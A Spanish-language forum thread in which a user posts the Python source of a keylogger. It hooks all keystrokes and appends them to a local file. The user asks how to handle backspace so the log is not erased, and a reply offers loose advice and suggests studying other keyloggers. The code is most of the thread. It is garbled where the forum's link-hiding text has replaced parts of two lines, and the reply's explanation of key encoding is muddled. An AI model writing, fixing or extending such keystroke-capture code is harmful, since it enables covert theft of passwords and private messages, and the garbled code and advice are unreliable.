Keylogger

Iniciado por Botters, Febrero 12, 2019, 08:25:39 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Febrero 12, 2019, 08:25:39 PM Ultima modificación: Febrero 12, 2019, 09:06:28 PM por Gabriela
Buenas noches, estoy estudiando un keylogger y he podido entender algunas cosas y modificar, pero tengo un problema y es que a veces me registraba todas las teclas pero le faltaban que si 2, y me di cuenta que era por el backspace, al tenerlo presionado borra todo el archivo, como podria ponerlo optimo? espero que me puedan ayudar

from functools import partial
import atexit
import os
import keyboard
MAP = {
    "space": " ",
    "\r": "\n"
}
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "testando10.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"
def callback(output, is_down, event):
    if event.event_type in ("up", "down"):

        # Esta línea lee el caracter presionado
        key = MAP.get(event.name, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)
          if key in ["backspace"]:
                with open(FILE_NAME, 'rb+') as f:
                    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta(0,2)               
                    size=f.tell()               
                    f.truncate(size-1)   
        # Luego valido que dicho caracter no esté en la lista ["backspace","enter"]
        if key not in ["backspace","enter", "tab", "right shift", "caps lock", "shift", "right ctrl", "esc", "left windows", "right", "f1", "f2", "f3", "f4", "f5", "f6", "f7", "f8", "f9" ]:
          modifier = len(key) > 1

          # Capturar únicamente los modificadores cuando están siendo
          # presionados.
          if not modifier and event.event_type == "down":
              return
          # Evitar escribir múltiples veces la misma tecla si está
          # siendo presionada.
         
          if modifier:
              if event.event_type == "down":
                  if is_down.get(key, False):
                      return
                  else:
                      is_down[key] = True
              elif event.event_type == "up":
                  is_down[key] = False
              # Indicar si está siendo presionado.
              key = " [{} ({})] ".format(key, event.event_type)
          elif key == "\r":
              # Salto de línea.
              key = "\n"

          # Escribir la tecla al archivo de salida.
          output.write(key)
          # Forzar escritura.
          output.flush()
def onexit(output):
    output.close()
def main():
    # Borrar el archivo previo.
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)

    # Indica si una tecla está siendo presionada.
    is_down = {}

    # Archivo de salida.
    output = open(FILE_NAME, "a")

    # Cerrar el archivo al terminar el programa.
    atexit.register(onexit, output)

    # Instalar el registrador de teclas.
    keyboard.hook(partial(callback, output, is_down))
    keyboard.wait(TERMINATE_KEY)
if __name__ == "__main__":
    main()

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Hola, me arriesgare preguntando qué si el lenguaje de programación que estás usando es python.

Pero en general la explicación que te daré es lo mismo.

Debes saber que la mayoría de teclados codifican las teclas a ASCII, que básicamente son números con valores específicos, debes saber que número es cada letra (mayormente sólo los caracteres que tienen problemas al capturarlas) y luego asignar el valor que desees pero que tú lo entiendas.

Ejemplo: si la tecla de espacio tiene el valor 104 debes asignar un nuevo valor que diga [BACKSPACE].

Te recomiendo que veas ejemplos de keyloggers a código abierto pero complejos para que más o menos se te haga una idea.
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF